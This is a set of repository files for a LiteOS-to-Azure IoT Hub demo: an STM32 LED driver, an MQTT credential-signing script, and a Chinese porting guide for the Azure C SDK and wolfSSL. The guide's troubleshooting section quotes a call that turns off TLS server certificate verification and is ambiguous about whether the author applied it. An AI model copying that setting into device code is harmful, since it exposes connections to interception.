self.roimaxEdit = roimaxEdit self.elineEdit = elineEdit self.setLayout(hlayout) def update_rois(self, roimin, roimax): self.roiminEdit.setText("{:.2f}".format(roimin)) self.roimaxEdit.setText("{:.2f}".format(roimax)) def update_energy(self, energy): self.elineEdit.setText("{:.2f}".format(energy)) if __name__ == '__main__': import sys app = QtGui.QApplication([]) # mw = MonitorWidget() mw = Ge32Explorer() # mw.setStyleSheet("background-color: #000") # mw.setWindowTitle("Acquaman EXAFS Explorer") mw.show() sys.exit(app.exec_()) ```
yxsyxs/LiteOS_Connect_to_3rd_Cloud
yxsyxs/LiteOS_Connect_to_3rd_Cloud los_bsp_led.c ```#include "stm32f4xx.h" #include "stm32f4xx_rcc.h" #include "stm32f4xx_gpio.h" #include "los_bsp_led.h" #define LED1_PIN GPIO_Pin_10 #define LED1_GPIO_PORT GPIOH #define LED1_GPIO_CLK RCC_AHB1Periph_GPIOH #define LED2_PIN GPIO_Pin_11 #define LED2_GPIO_PORT GPIOH #define LED2_GPIO_CLK RCC_AHB1Periph_GPIOH #define LED3_PIN GPIO_Pin_12 #define LED3_GPIO_PORT GPIOH #define LED3_GPIO_CLK RCC_AHB1Periph_GPIOH /* ๅธฆๅ‚ๅฎ๏ผŒๅฏไปฅๅƒๅ†…่”ๅ‡ฝๆ•ฐไธ€ๆ ทไฝฟ็”จ */ #define LED1(a) if (a) \ GPIO_SetBits(LED1_GPIO_PORT,LED1_PIN);\ else \ GPIO_ResetBits(LED1_GPIO_PORT,LED1_PIN) #define LED2(a) if (a) \ GPIO_SetBits(LED2_GPIO_PORT,LED2_PIN);\ else \ GPIO_ResetBits(LED2_GPIO_PORT,LED2_PIN) #define LED3(a) if (a) \ GPIO_SetBits(LED3_GPIO_PORT,LED3_PIN);\ else \ GPIO_ResetBits(LED3_GPIO_PORT,LED3_PIN) /* ็›ดๆŽฅๆ“ไฝœๅฏ„ๅญ˜ๅ™จ็š„ๆ–นๆณ•ๆŽงๅˆถIO */ #define digitalHi(p,i) {p->BSRRL=i;} //่ฎพ็ฝฎไธบ้ซ˜็”ตๅนณ #define digitalLo(p,i) {p->BSRRH=i;} //่พ“ๅ‡บไฝŽ็”ตๅนณ #define digitalToggle(p,i) {p->ODR ^=i;} //่พ“ๅ‡บๅ่ฝฌ็Šถๆ€ /* ๅฎšไน‰ๆŽงๅˆถIO็š„ๅฎ */ #define LED1_TOGGLE digitalToggle(LED1_GPIO_PORT,LED1_PIN) #define LED1_OFF digitalHi(LED1_GPIO_PORT,LED1_PIN) #define LED1_ON digitalLo(LED1_GPIO_PORT,LED1_PIN) #define LED2_TOGGLE digitalToggle(LED2_GPIO_PORT,LED2_PIN) #define LED2_OFF digitalHi(LED2_GPIO_PORT,LED2_PIN) #define LED2_ON digitalLo(LED2_GPIO_PORT,LED2_PIN) #define LED3_TOGGLE digitalToggle(LED3_GPIO_PORT,LED3_PIN) #define LED3_OFF digitalHi(LED3_GPIO_PORT,LED3_PIN) #define LED3_ON digitalLo(LED3_GPIO_PORT,LED3_PIN) //LED1 - R //LED2 - G //LED3 - B // R G B #define LED_BLACK 0X0 // 0 0 0 #define LED_RED 0X1 // 0 0 1 #define LED_GREEN 0X2 // 0 1 0 #define LED_YELLOW 0X3 // 0 1 1 #define LED_BLUE 0X4 // 1 0 0 #define LED_MAGENTA 0X5 // 1 0 1 #define LED_CYAN 0X6 // 1 1 0 #define LED_WHITE 0X7 // 1 1 1 #define IS_RGB111_ALL_PERIPH(PERIPH) (((PERIPH) == LED_BLACK) || \ ((PERIPH) == LED_RED) || \ ((PERIPH) == LED_GREEN) || \ ((PERIPH) == LED_YELLOW) || \ ((PERIPH) == LED_BLUE) || \ ((PERIPH) == LED_MAGENTA) || \ ((PERIPH) == LED_CYAN) || \ ((PERIPH) == LED_WHITE) void LOS_EvbLedInit(void) { /*ๅฎšไน‰ไธ€ไธชGPIO_InitTypeDef็ฑปๅž‹็š„็ป“ๆž„ไฝ“*/ GPIO_InitTypeDef GPIO_InitStructure; /*ๅผ€ๅฏLED็›ธๅ…ณ็š„GPIOๅค–่ฎพๆ—ถ้’Ÿ*/ RCC_AHB1PeriphClockCmd ( LED1_GPIO_CLK|LED2_GPIO_CLK|LED3_GPIO_CLK, ENABLE); /*้€‰ๆ‹ฉ่ฆๆŽงๅˆถ็š„GPIOๅผ•่„š*/ GPIO_InitStructure.GPIO_Pin = LED1_PIN; /*่ฎพ็ฝฎๅผ•่„šๆจกๅผไธบ่พ“ๅ‡บๆจกๅผ*/ GPIO_InitStructure.GPIO_Mode = GPIO_Mode_OUT; /*่ฎพ็ฝฎๅผ•่„š็š„่พ“ๅ‡บ็ฑปๅž‹ไธบๆŽจๆŒฝ่พ“ๅ‡บ*/ GPIO_InitStructure.GPIO_OType = GPIO_OType_PP; /*่ฎพ็ฝฎๅผ•่„šไธบไธŠๆ‹‰ๆจกๅผ๏ผŒ้ป˜่ฎคLEDไบฎ*/ GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_UP; /*่ฎพ็ฝฎๅผ•่„š้€Ÿ็އไธบ50MHz */ GPIO_InitStructure.GPIO_Speed = GPIO_Speed_2MHz; /*่ฐƒ็”จๅบ“ๅ‡ฝๆ•ฐ๏ผŒไฝฟ็”จไธŠ้ข้…็ฝฎ็š„GPIO_InitStructureๅˆๅง‹ๅŒ–GPIO*/ GPIO_Init(LED1_GPIO_PORT, &GPIO_InitStructure); /*้€‰ๆ‹ฉ่ฆๆŽงๅˆถ็š„GPIOๅผ•่„š*/ GPIO_InitStructure.GPIO_Pin = LED2_PIN; GPIO_Init(LED2_GPIO_PORT, &GPIO_InitStructure); /*้€‰ๆ‹ฉ่ฆๆŽงๅˆถ็š„GPIOๅผ•่„š*/ GPIO_InitStructure.GPIO_Pin = LED3_PIN; GPIO_Init(LED3_GPIO_PORT, &GPIO_InitStructure); /* ๅ…ณ้—ญๆ‰€ๆœ‰LED */ GPIO_SetBits(LED1_GPIO_PORT,LED1_PIN); GPIO_SetBits(LED2_GPIO_PORT,LED2_PIN); GPIO_SetBits(LED3_GPIO_PORT,LED3_PIN); return; } /************************************************************************************************* * function๏ผšcontrol led on off * * param (1) index Led's index * * (2) cmd Led on or off * * return : None * * discription: * **************************************************************************************************/ void LOS_EvbLedControl(int index, int cmd) { switch (index) { case LOS_LED1: { if (cmd == LED_ON) { LED1(1); /*led1 on */ } else { LED1(0); /*led1 off */ } break; } case LOS_LED2: { if (cmd == LED_ON) { LED2(1); /*led2 on */ } else { LED2(0); /*led2 off */ } break; } default: { break; } } return; } ``` UsrName_Psk.py ```#!/bin/env python import paho.mqtt.client as mqtt import base64 import hashlib import hmac import random import string import time proID = raw_input("Please Input the product ID:") devName = raw_input("Please Input the device name:") psk = raw_input("Please Input the password:") clientid = proID+devName username = clientid+";21010406;12365;{}".format(int(time.time()) + 36000) def hmacsha1(content, pks): psk_byte = base64.b64decode(psk) return hmac.new(psk_byte, content, digestmod=hashlib.sha1).hexdigest() sign = hmacsha1(username, psk) print print("Client ID") print(clientid) print("User Name:") print(username) print("Password:") print(sign+";hmacsha1") ``` LiteOSๅฏนๆŽฅazure็คบ่Œƒๆ–‡ๆกฃ.md ```## ไธ€ใ€่ƒŒๆ™ฏๅ’Œไป‹็ป ### 1ใ€ๅ…ฌๅธ/ๅ›ข้˜Ÿไป‹็ป ๅผ ๆ–ฐ็ต๏ผŒๅตŒๅ…ฅๅผ่ฝฏไปถๅทฅ็จ‹ๅธˆ๏ผŒๅš่ฟ‡็š„ไบงๅ“ๆœ‰ ๆŒ‡็บน้—จ็ฆ/ๆ‰‹ๆœบ/ๅฏ็ฉฟๆˆด่ฎพๅค‡/360ๅบฆ่พ…ๅŠฉ้ฉพ้ฉถ็ณป็ปŸ/OBDII่ฏŠๆ–ญไปช/็”ตๅŠจๆฑฝ่ฝฆๅ……็”ตๆกฉ็ญ‰ ### 2ใ€้กน็›ฎไป‹็ป LiteOSๅฏนๆŽฅๅพฎ่ฝฏAzure IoTไธญๅฟƒ ## ไบŒใ€้กน็›ฎๅ†…ๅฎน ### 1. ๆ–นๆกˆ่ฏดๆ˜Ž ๏ผˆ1๏ผ‰ๅŠŸ่ƒฝ่ฏดๆ˜Ž ๅฏนๆŽฅAzure IoTไธญๅฟƒ๏ผŒๅฎž็Žฐๆถˆๆฏๅ‘ๅธƒๅ’Œ่ฎข้˜… ๏ผˆ2๏ผ‰ๆŽฅๅ…ฅ่ฏดๆ˜Ž ้€š่ฟ‡ๆฟ่ฝฝไปฅๅคช็ฝ‘ๆŽฅๅ…ฅ็ฝ‘็ปœๅ’ŒAzure IoTไปฅMQTTๅฎž็Žฐ้€šไฟก ๏ผˆ3๏ผ‰Azure IoT็ฎ€ๅ•ไป‹็ป azure็‰ฉ่”็ฝ‘ๆไพ›ๆœ‰ IoTๅฅ—ไปถ/IoTไธญๅฟƒ/ไบ‹ไปถไธญๅฟƒ/ๆตๅˆ†ๆž/้€š็Ÿฅไธญๅฟƒ๏ผŒๅฏๅฏนๆŽฅ็š„ๅ่ฎฎๆœ‰ mqtt/amqp/https็ญ‰ ### 2. ็กฌไปถๆ–นๆกˆ - ๅˆฉ็”จ้‡Ž็ซๅผ€ๅ‘ๆฟๅ’ŒAzure Iot้€šไฟก ### 3. ่ฝฏไปถๆ–นๆกˆ - LiteOSๆ ธๅฟƒ - ๅผ€ๅ‘ๆฟ้ฉฑๅŠจ - STM32F4 HAL ๅบ“ - LWIPๅ่ฎฎๆ ˆ - azure-iot-sdk-c - `c-utility` cๅธธ็”จๅบ“ - `iothub_client` ๅบ”็”จๅฑ‚ๆŽฅๅฃ - `umqtt` MQTTๅ่ฎฎ - `parson` JSON่งฃๆž - `certs` ่ฏไนฆ - wolfssl ## ไธ‰ใ€ๆŽฅๅ…ฅ็ฌฌไธ‰ๆ–นไบ‘ๅนณๅฐ ### Azure Portalๆณจๅ†Œ - [ๅ›ฝ้™…่Š‚็‚น](https://azure.microsoft.com/zh-cn/) - [ๅ›ฝๅ†…่Š‚็‚น](https://www.azure.cn/zh-cn/) - [ๆณจๅ†Œ 1 ๅ…ƒ่ฏ•็”จ่ฎข้˜…](https://docs.azure.cn/zh-cn/billing/billing-sign-up-azure-account-with-1rmb-trial-subscription) **ๅ‡ ไธชๅ‘** 1. ๆณจๅ†ŒๅฎŒๆˆๅŽไผšๆ‰ฃ1ๅ•ไฝๅฝ“ๅœฐ่ดงๅธ๏ผŒไธป่ฆ้€‰ๆ‹ฉๅ›ฝๅ†…็ซ™็‚นๆณจๅ†Œ 2. ๅพฎ่ฝฏ่ดฆๆˆทๅ’Œ้—จๆˆทๆ˜ฏไธๅŒ็š„่ดฆๆˆทใ€‚ไธ€ๅฎš่ฆๅˆ†ๆธ…ๆฅšไบ†๏ผ๏ผ๏ผๆณจๅ†ŒๅฎŒๆˆๅŽ็š„id็ฑปไผผcietest.partner.onmschina.cn๏ผŒไธ€ๅฎš่ฆ่ฎฐไฝไบ†๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ 3. ๅฆ‚ๆžœ้‡ๅˆฐ็‚นๅ‡ปๆ— ๅๅบ”๏ผŒๆธ…็†cookieๅ’Œ็ผ“ๅญ˜ๅ†่ฏ•่ฏ• ### ๅˆ›ๅปบ Aure IoTไธญๅฟƒ ๅˆ›ๅปบ IoT ไธญๅฟƒไปฅๅŽ๏ผŒๅณๅฏๆ‰พๅˆฐๅฐ†่ฎพๅค‡ๅ’Œๅบ”็”จ็จ‹ๅบ่ฟžๆŽฅๅˆฐ IoT ไธญๅฟƒๆ—ถ้œ€่ฆไฝฟ็”จ็š„้‡่ฆไฟกๆฏใ€‚ 1. ๅˆ›ๅปบ IoT ไธญๅฟƒๅŽ๏ผŒ่ฏทๅœจไปช่กจๆฟไธญๅ•ๅ‡ปๅฎƒใ€‚ ่ฎฐไธ‹โ€œไธปๆœบๅโ€๏ผŒๅนถๅ•ๅ‡ปโ€œๅ…ฑไบซ่ฎฟ้—ฎ็ญ–็•ฅโ€ใ€‚ ![](./meta/azure-hostname.png) 2. ๅœจโ€œๅ…ฑไบซ่ฎฟ้—ฎ็ญ–็•ฅโ€็ช—ๆ ผไธญๅ•ๅ‡ปโ€œiothubownerโ€็ญ–็•ฅ๏ผŒๅนถๅคๅˆถๅนถ่ฎฐไธ‹ IoT ไธญๅฟƒ็š„่ฟžๆŽฅๅญ—็ฌฆไธฒใ€‚ ๆœ‰ๅ…ณ่ฏฆ็ป†ไฟกๆฏ๏ผŒ่ฏทๅ‚้˜…[ๆŽงๅˆถๅฏน IoT ไธญๅฟƒ็š„่ฎฟ้—ฎ](https://docs.azure.cn/zh-cn/iot-hub/iot-hub-devguide-security)ใ€‚ ![](./meta/azure-connect-string.png) - ๅœจ IoT ไธญๅฟƒไธบ่ฎพๅค‡่ฟ›่กŒ่ฎพๅค‡ๆณจๅ†Œ 1. ๅœจ [Azure ้—จๆˆท](https://portal.azure.cn/)ไธญๆ‰“ๅผ€ IoT ไธญๅฟƒใ€‚ 2. ๅ•ๅ‡ปโ€œ่ฎพๅค‡่ต„ๆบ็ฎก็†ๅ™จโ€ใ€‚ 3. ๅœจโ€œ่ฎพๅค‡่ต„ๆบ็ฎก็†ๅ™จโ€็ช—ๆ ผไธญ๏ผŒๅ•ๅ‡ปโ€œๆทปๅŠ โ€ๅฐ†่ฎพๅค‡ๆทปๅŠ ๅˆฐ IoT ไธญๅฟƒใ€‚ ็„ถๅŽๆ‰ง่กŒไปฅไธ‹ๆ“ไฝœ๏ผš **่ฎพๅค‡ ID**๏ผš่พ“ๅ…ฅๆ–ฐ่ฎพๅค‡็š„ IDใ€‚ ่ฎพๅค‡ ID ๅŒบๅˆ†ๅคงๅฐๅ†™ใ€‚ **่บซไปฝ้ชŒ่ฏ็ฑปๅž‹**๏ผš้€‰ๆ‹ฉโ€œๅฏน็งฐๅฏ†้’ฅโ€ใ€‚ **่‡ชๅŠจ็”Ÿๆˆๅฏ†้’ฅ**๏ผš้€‰ไธญๆญคๅค้€‰ๆก†ใ€‚ **ๅฐ†่ฎพๅค‡่ฟžๆŽฅๅˆฐ IoT ไธญๅฟƒ**๏ผšๅ•ๅ‡ปโ€œๅฏ็”จโ€ใ€‚ ![](./meta/azure-add-device.png) 4. ๅ•ๅ‡ปโ€œไฟๅญ˜โ€ ใ€‚ 5. ๅˆ›ๅปบ่ฎพๅค‡ๅŽ๏ผŒๅœจโ€œ่ฎพๅค‡่ต„ๆบ็ฎก็†ๅ™จโ€็ช—ๆ ผไธญๆ‰“ๅผ€่ฎพๅค‡ใ€‚ 6. ่ฎฐไธ‹่ฟžๆŽฅๅญ—็ฌฆไธฒ็š„ไธปๅฏ†้’ฅใ€‚ ![](./meta/azure-device-primary-key.png) ### [ไฝฟ็”จDevicExplorer่ฟ›่กŒๆจกๆ‹Ÿ, ็‚นๆˆ‘](https://github.com/Azure/azure-iot-sdk-csharp/tree/master/tools/DeviceExplorer) ๅœจ ubuntu ไธŠๅฏ็ผ–่ฏ‘ sdk ่ฟ›่กŒ่ฎพๅค‡ๆจกๆ‹Ÿ๏ผŒๆ”ถๅ‘ๆถˆๆฏใ€‚ ่ฎพ็ฝฎๅผ€ๅ‘็Žฏๅขƒ ``` sudo apt-get update sudo apt-get install -y git cmake build-essential curl libcurl4-openssl-dev libssl-dev uuid-dev ``` ๆฃ€ๆŸฅcmake็‰ˆๆœฌไธๅฐไบŽ2.8.12 ``` cmake --version ``` ๆฃ€ๆŸฅgcc็‰ˆๆœฌไธๅฐไบŽ4.4.7 ``` gcc --version ``` ็ผ–่ฏ‘sdk ``` cd azure-iot-sdk-c mkdir cmake cd cmake cmake .. cmake --build . # append '-- -j <n>' to run <n> jobs in parallel ``` ่ฎพ็ฝฎๅญ—็ฌฆไธฒ ``` static const char* connectionString = "[device connection string]"; ``` ็ผ–่ฏ‘ไพ‹ๅญไปฃ็  ``` cd ./azure-iot-sdk-c/cmake/serializer/samples make ./simplesample_mqtt/simplesample_mqtt ``` ่ง‚ๅฏŸDevicExplorerๅŠ็”ฑDevicExplorerไธ‹ๅ‘ๅ‘ฝไปค ไธ‹ๅ‘ๅ‘ฝไปคๆ ผๅผ`simplesample_amqp` ``` {"Name":"SetAirResistance","Parameters":{"Position":55}} {"Name":"TurnFanOn","Parameters":{}} ``` gifๅŠจ็”ปๆผ”็คบๅœจๆœฌๆ–‡ๆกฃๅŒ็บง็›ฎๅฝ•meta/azure-virtual-equipment-device-explorer-demo.gif ## ๅ››ใ€ๅ…ณ้”ฎๆบไปฃ็ ่งฃๆž ### 1. wolfssl็งปๆค: ไธ€ๅผ€ๅง‹็š„ๆ—ถๅ€™๏ผŒ็ผ–่ฏ‘ๅพˆๅคš็š„้”™่ฏฏ๏ผŒไธป่ฆ้…็ฝฎๅœจ user_settings.h - ่Žทๅ–ไปฃ็  - `git clone https://github.com/wolfSSL/wolfssl.git` - internal.c - `LowResTimer()` - memory.c - `malloc()` -> `platform_malloc()` - `realloc()` -> `platform_realloc()` - `free()` -> `platform_free()` - random.c - `wc_GenerateSeed()`ไธญ๏ผŒ`hrng.Instance = RNG;`ๆ”นไธบ`hrng.Instance = ((RNG_TypeDef *) RNG_BASE);`๏ผŒๅฆๅˆ™ๆŠฅ้”™ - wc_port.c - `wc_InitMutex()` - `wc_FreeMutex()` - `wc_LockMutex()` - `wc_UnLockMutex()` - ไธ‹้ขๅ‡ ไธชๆ–‡ไปถไนŸ่ฟ›่กŒไบ†้€‚้… - asn_public.h - wc_port.h - internal - ไธบไบ†ไธ่ฎฉ็ผ–่ฏ‘ๆŠฅ้”™๏ผŒๅขžๅŠ ๅ‡ ไธช็ฉบๆ–‡ไปถ - options.h - rl_net.h - strings.h - ๅขžๅŠ  user_settings.h ไปฅไพฟ่ฟ›่กŒๅฎขๅˆถๅŒ– - ไธบไบ†ไฝฟ็”จuser_settings.h๏ผŒ`Project` --> `Options for Target 'HuaweiLiteOS'`...--> `C/C++` --> `Define`,ๅœจ่กŒๆœซๅŠ ไธŠ `,WOLFSSL_USER_SETTINGS` ### 2. SDK ็š„่ฆๆฑ‚ - ่ƒฝๅคŸIP่ฟžๆŽฅ - ๆ”ฏๆŒTLS - ๆ”ฏๆŒSHA-256๏ผˆๅฏ้€‰๏ผ‰๏ผŒๆœ‰ไบ›ๅ่ฎฎ้œ€่ฆ๏ผŒๆœ‰ไบ›ไธ้œ€่ฆ - ๆœ‰็กฌไปถๆ—ถ้’Ÿๆˆ–่€…ๅฏไปฅ่ฟžๆŽฅ NTP ๆœๅŠกๅ™จ - ่‡ณๅฐ‘64K็š„RAM ### 3. [C SDKs API ๅ‚่€ƒ](https://azure.github.io/azure-iot-sdk-c)๏ผŒ่ฟ™ไธป่ฆๆ˜ฏ้’ˆๅฏนไธŠๅฑ‚่ฐƒ็”จ็š„ๆ–‡ๆกฃ ### 4. sdk ็งปๆค - ่Žทๅ– sdk - `git clone --recursive https://github.com/Azure/azure-iot-sdk-c.git` - [็งปๆคๆŒ‡ๅฏผ,ๆœฌๆ–‡ๆกฃๅŒ็บง็›ฎๅฝ•ไธ‹็š„ `porting_guide.md` ](./porting_guide.md) - sdk ๆฒกๆœ‰ๅฎž็Žฐssl๏ผŒๆ‰€ไปฅ้œ€่ฆ็งปๆค็ฌฌไธ‰ๆ–นๅบ“ใ€‚ไธชไบบ่ง‰ๅพ—๏ผŒ็›ธๅฏนไบŽopenssl/mbedstl๏ผŒwolfsslๆ›ด็ฎ€ๅ•ใ€‚wolfsslๆ˜ฏ่ฝป้‡็บง็š„๏ผŒๅพˆ้€‚ๅˆๅตŒๅ…ฅๅผ - ้‡‡็”จ็š„ๆ˜ฏไธŠๅฑ‚ๅบ”็”จ<-->iothub_client<-->tlsio<-->socket - ้€‚้…ๆ–‡ไปถ: ไธป่ฆๅœจadapters็›ฎๅฝ•ไธ‹ - `agenttime_liteos.c` ไธป่ฆๅฎž็Žฐ - `get_time()` - `get_difftime()` - ๅ…ถไฝ™ๆ˜ฏๆ‰“้…ฑๆฒน็š„ - `platform_liteos.c` - `platform_init()` - `platform_get_default_tlsio()` - `platform_get_platform_info()` - `platform_deinit()` - ๅฆๅค–๏ผŒๆˆ‘่ฟ˜ๅขžๅŠ ไบ†ๅ‡ ไธช้€‚้…ๅนณๅฐ็š„ๅ‡ฝๆ•ฐ - `platform_pool_init()` - `platform_malloc()` - `platform_realloc()` - `platform_calloc()` - `platform_free()` - threadapi_liteos.c - `ThreadAPI_Sleep()` - ๅ…ถไฝ™ๆ‰“้…ฑๆฒน - tickcounter_liteos.c - `tickcounter_create()` - `tickcounter_destroy()` - `tickcounter_get_current_ms()` - `tlsio_ssl_liteos.c` ็›ธๅฏน่พƒๅคๆ‚๏ผŒไธป่ฆไฝœ็”จๆ˜ฏๅฏนไธŠๅฑ‚ๆไพ›ๆŽฅๅฃ `tlsio_openssl_get_interface_description()`็ป™sdk๏ผŒ็„ถๅŽ่ฐƒ็”จ wolfssl ๅ’Œ lwip ่ฟ›่กŒ้€šไฟก ### ไพ‹ๅญไปฃ็  - iothub_client_sample_mqtt.c - ๅ…ฅๅฃ `iothub_client_sample_mqtt_run()` - ่ฟžๆŽฅๅญ—็ฌฆไธฒ `connectionString` ### 5. ่ธฉ่ฟ‡็š„ๅ‘ - ๅ› ไธบ็”จmalloc/reallocๅˆ†้…ไธๅˆฐๅ†…ๅญ˜๏ผŒๅ†™ไบ†platform_malloc/platform_realloc/platorm_free, ๅฐ† azure-iot-sdk-c ๅ’Œ woflSSl ็š„ malloc/realloc/free ๅ…จ้ƒจ็ฝฎๆขไธบ platform_malloc/platform_realloc/ platform_free - ๆ‰€ๆœ‰ `time()` ๅ‡ฝๆ•ฐ็ฝฎๆขๆˆ `get_time()` ๅ‡ฝๆ•ฐ - sntpๆ กๆ—ถ - SNTP_SERVER_DNS ่ฎพไธบ1๏ผŒๅนถไธ” ่ฎพ็ฝฎ SNTP_SERVER_ADDRESS - ๅฆ‚ๆžœSNTP_SERVER_DNS่ฎพไธบ0๏ผŒๅœจ sntp_init ๅผ€ๅง‹ไน‹ๅ‰ sntp_setserver - sntpๆœๅŠกๅ™จ็š„้€‰ๆ‹ฉไนŸๆ˜ฏ้ ่ฟๆฐ”็š„๏ผŒๆœ‰ๆ—ถๅ€™ๅพˆ้•ฟๆ—ถ้—ด้ƒฝ่Žทๅ–ไธๅˆฐๆ—ถ้—ด๏ผŒๆœ‰ๆ—ถๅ€™ๅฐฑๅพˆๅฟซ๏ผŒ - dnsๅŸŸๅ่งฃๆž - ่ฎพ็ฝฎ DNS_SERVER_ADDRESS - dnsๆœๅŠกๅ™จไนŸ็š„้€‰ๆ‹ฉไนŸๆ˜ฏ้ ่ฟๆฐ”๏ผŒ็ฝ‘ไธŠๆœ็ดข๏ผŒๆขไบ†ๅ‡ ไธชๆ‰่กŒ - ๅฟ…้กปๅฎšไน‰ STRINGS_C_SPRINTF_BUFFER_SIZE๏ผŒๅฆๅˆ™ azure sdk็š„ๅŸŸๅ่งฃๆž„ไผšไธบ็ฉบ - ๅผ€ๅฏLWIP_TCP_KEEPALIVE๏ผŒๅฆๅˆ™TCP_KEEPIDLE, TCP_KEEPINTVL and TCP_KEEPCNT่ฎพ็ฝฎไผšๅคฑ่ดฅ - ๅœจwc_InitMutexไธญ๏ผŒLOS_SemCreateๅˆ›ๅปบๆˆๅŠŸๅŽLOS_SemPost๏ผŒๅฆๅˆ™ๅœจwc_LockMutexไธญtaskไผšไธ€็›ด็ญ‰ๅพ… - sockets.cไธญๅฎšไน‰ไบ†่‡ชๅทฑ็š„errno`int errno;`ๅฏผ่‡ดๅœจEmbedReceiveไธญ`int err = wolfSSL_LastError();`่ฟ”ๅ›žๅ€ผไธ€็›ดไธบ0ใ€‚ๅฐ†่‡ชๅฎšไน‰็š„errnoๆณจ้‡Šๆމๅณๅฏ่ฟ”ๅ›žๆญฃ็กฎ็š„ๅ€ผใ€‚ๆˆ–่€…็”จ`(*(volatile int *) __aeabi_errno_addr()) `ๆ›ฟๆข`errno`ไนŸๆ˜ฏๅฏไปฅ็š„ - ็›ฎๅ‰ ssl ่ฟžๆŽฅๅคฑ่ดฅ๏ผŒๆŸฅ็œ‹ๅŽŸๅ› ๆ˜ฏ ๆฒกๆœ‰็ญพๅ่€…็กฎ่ฎค๏ผˆ๏ผŸ๏ผ‰ - ๅŠ ๅ…ฅ่ฏไนฆ๏ผŒๆ‰“ๅผ€่ฏไนฆ็ผ–่ฏ‘็š„ๅฎSET_TRUSTED_CERT_IN_SAMPLES๏ผŒไป็„ถ่ฟ”ๅ›ž้”™่ฏฏไปฃ็ -188 - ็œ‹wolfSSLๆ น็›ฎๅฝ•ไธ‹็š„readme๏ผŒๆœ‰ๅฆ‚ไธ‹ไธ€ๆฎตnote๏ผŒ็…งๅš ``` wolfSSL takes a different approach to certificate verification than OpenSSL does. The default policy for the client is to verify the server, this means that if you don't load CAs to verify the server you'll get a connect error, no signer error to confirm failure (-188). If you want to mimic OpenSSL behavior of having SSL_connect succeed even if verifying the server fails and reducing security you can do this by calling: wolfSSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, 0); before calling wolfSSL_new(); Though it's not recommended. ``` - ่ฟ™ไธ€ๆฌก๏ผŒๅ‡บ็Žฐไบ†ๆ–ฐ็š„้—ฎ้ข˜ ``` osHwiDefaultHandler irqnum:3 ``` - ๅฏนๅบ”็š„ๆ˜ฏ ``` // [3] Hard Fault Handler ``` - ็กฌไปถ้”™่ฏฏ๏ผŒๆ˜ฏไธชไป€ไนˆ้ฌผ - ๆทปๅŠ ๆ‰“ๅฐไฟกๆฏ๏ผŒไธ€ๆญฅๆญฅ็š„่ฟฝ่ธช๏ผŒๅ‘็Žฐๅนถไธๆ€ปๆ˜ฏๅœจ็›ธๅŒ็š„ไฝ็ฝฎๅฎ•ๆœบ๏ผŒๆƒณๅˆฐไธ€ไธชๅฏ่ƒฝ๏ผŒๆ˜ฏไธๆ˜ฏstackๅคชๅฐไบ† - ๅŽŸๆฅtask็š„stackไธบ4096๏ผŒๆ”นไธบ8192๏ผŒๅ†่ฏ•๏ผŒ่ฟ˜ๆ˜ฏไผšๅฎ•ๆœบใ€‚ไธ่ฟ‡๏ผŒๆ‰“ๅฐ็š„ไฟกๆฏๅคšไบ†ๅพˆๅคš๏ผŒๆœ‰ๆˆใ€‚็„ถๅŽๆŠŠstack sizesๆ”นไธบ16384๏ผŒ่ฟ™ไธ€ๆฌกไธๅฎ•ๆœบไบ†๏ผŒๅนถไธ”ๅœจdeviceexplorerๅฏไปฅ่ง‚ๅฏŸๅˆฐๅ‘้€็š„ๆถˆๆฏไบ†ใ€‚ - ็œŸไธๆ•ข็›ธไฟก๏ผŒazure iot sdk่ฟ™ไนˆๆถˆ่€—stackใ€‚็ผ–ๅ†™sdk็š„ไบบ้ƒฝๆ˜ฏๅœจpcไธŠ็ผ–็จ‹็š„๏ผŒๅพˆๅคšๅ˜้‡ใ€ๆ•ฐ็ป„้ƒฝๆ˜ฏๅœจๅ‡ฝๆ•ฐ้‡Œๅฃฐๆ˜Žใ€‚ๆฒก่€ƒ่™‘ๅˆฐๅตŒๅ…ฅๅผ็ณป็ปŸๅ†…ๅญ˜ๅฐ็š„้—ฎ้ข˜ใ€‚ - ๅ†ๆฅๅๆงฝไธ€ไธ‹ๅพฎ่ฝฏ azure ็š„ๆŠ€ๆœฏๆ”ฏๆŒ - ๆฏๅคฉไธ‹็ญๅ‰ๅ›žๅคไธ€ๆฌกไธ”ไป…ไธ€ๆฌกEmail๏ผŒ็ปๅธธ่ฟ™ๆ ท - ๅ‘จๅ…ญๅ‘จๅคฉๆ— ไบบๅ€ผ็ญ - ๅฏนไบŽๆๅ‡บ็š„้—ฎ้ข˜ไธไบˆ็›ดๆŽฅๅ›ž็ญ”๏ผŒๆ€ปๆ˜ฏๆๅ‡บๅ„็งๆƒณๆณ•่ฎฉไฝ ่ทŸ็€ไป–็š„ๆ€่ทฏๅŽป้ชŒ่ฏใ€‚ๆ—ถ้—ดๅฐฑ่ฟ™ไนˆ่€—่ฟ‡ๅŽปไบ†ใ€‚ - ๅ’Œๆˆ‘่ฏด๏ผŒไธ็†Ÿๆ‚‰wolfSSL๏ผŒๅปบ่ฎฎๆˆ‘็งปๆคopenSSL๏ผŒ็ญ‰ๆˆ‘็งปๆคๅฅฝไบ†ๅˆไธๅ†ๅปบ่จ€ไบ†ใ€‚ - ๆ„Ÿ่ง‰ๅพฎ่ฝฏ azure ๅœจๆœฌๅœŸๅŒ–ใ€ๆœๅŠกใ€ๅตŒๅ…ฅๅผๆ–น้ข่ฟ˜ๆœ‰ๅพˆๅคšไบŸๅพ…ๆ”น่ฟ›็š„ๅœฐๆ–นใ€‚ ## ไบ”ใ€ไบงๅ“่ฐƒ่ฏ• ![](./meta/board-connect.jpg) ๆฟๅญ่ฟž็บฟๅฆ‚ไธŠๅ›พ ่ฐƒ่ฏ•ๅŠจ็”ปๅœจๆœฌๆ–‡ๆกฃๅŒ็บง็›ฎๅฝ•ไธ‹็š„meta/debug.gif ็”ฑไบŽๆฒกๆœ‰ๅฎ‰่ฃ…DHCP๏ผŒ้œ€่ฆๆ‰‹ๅŠจ่ฎพ็ฝฎIPๅœฐๅ€ใ€‚ๅœจ`sys_init.c`ไธญ็š„ๅ‡ฝๆ•ฐ `net_init()`้‡Œ่ฎพ็ฝฎ ๅ…จ็ผ–่ฏ‘๏ผŒไธ‹่ฝฝๅฎŒๆฏ•ๅŽๆŒ‰RESETๅณๅฏ่ฟ่กŒไปฃ็  